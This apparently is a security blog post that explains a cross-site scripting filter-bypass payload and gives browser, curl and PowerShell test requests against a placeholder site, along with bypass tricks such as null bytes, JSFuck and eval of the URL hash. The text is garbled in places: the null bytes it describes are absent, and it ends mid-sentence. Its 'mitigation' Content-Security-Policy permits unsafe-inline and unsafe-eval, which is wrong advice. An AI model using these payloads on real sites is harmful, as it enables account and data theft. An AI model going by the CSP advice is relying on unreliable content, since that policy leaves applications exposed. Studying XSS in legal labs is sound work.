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Payload:
1'"><img/src/onerror=.1|alert``>
This payload demonstrates an advanced XSS (Cross-Site Scripting) bypass technique that evades common filters by using:
– Malformed HTML attributes (<img/src/onerror)
– Null bytes ()
– JavaScript template literals (alert)
You Should Know:
1. Why This Payload Works
- Tag Splitting (
<img/src) – Bypasses filters that block<img src. - Null Byte Injection (
) – Tricks WAFs (Web Application Firewalls) by inserting invisible Unicode. - Alternative JS Execution (
|alert``) – Uses bitwise OR (|`) and backticks to avoid `()` detection.
2. Testing & Exploitation
Use this in input fields, URL parameters, or stored content:
// Manual Test in Browser Console
document.write('<img/src/onerror=alert<code>XSS</code>>');
3. Mitigation Techniques
- Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval';
- HTML Encoding:
<?php echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); ?>
- WAF Rules: Block Unicode null bytes (
\x00) and malformed tags.
4. Advanced Bypass Commands
- Linux (Curl Test):
curl -X POST "http://vuln-site.com/search" --data "q=1'><script\u0000>alert(1)</script>"
- Windows (PowerShell Test):
Invoke-WebRequest -Uri "http://vuln-site.com?param=<svg/onload=alert('XSS')>" -Method GET
5. Practice Labs
Try these on legal platforms:
- PortSwigger’s XSS Labs: https://portswigger.net/web-security/cross-site-scripting
- OWASP Juice Shop: https://owasp.org/www-project-juice-shop/
What Undercode Say
XSS remains a top web vulnerability due to weak input sanitization. Modern bypasses leverage:
– Unicode Obfuscation: \u0000, `%EF%BB%BF` (BOM)
– JSFuck: `[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]]`
– DOM-based XSS:
eval(window.location.hash.slice(1));
Defenders must adopt context-aware encoding and strict CSP.
Expected Output:
A secure web app should:
1. Reject `onerror`, `javascript:`, and `data:` protocols.
- Log and alert on `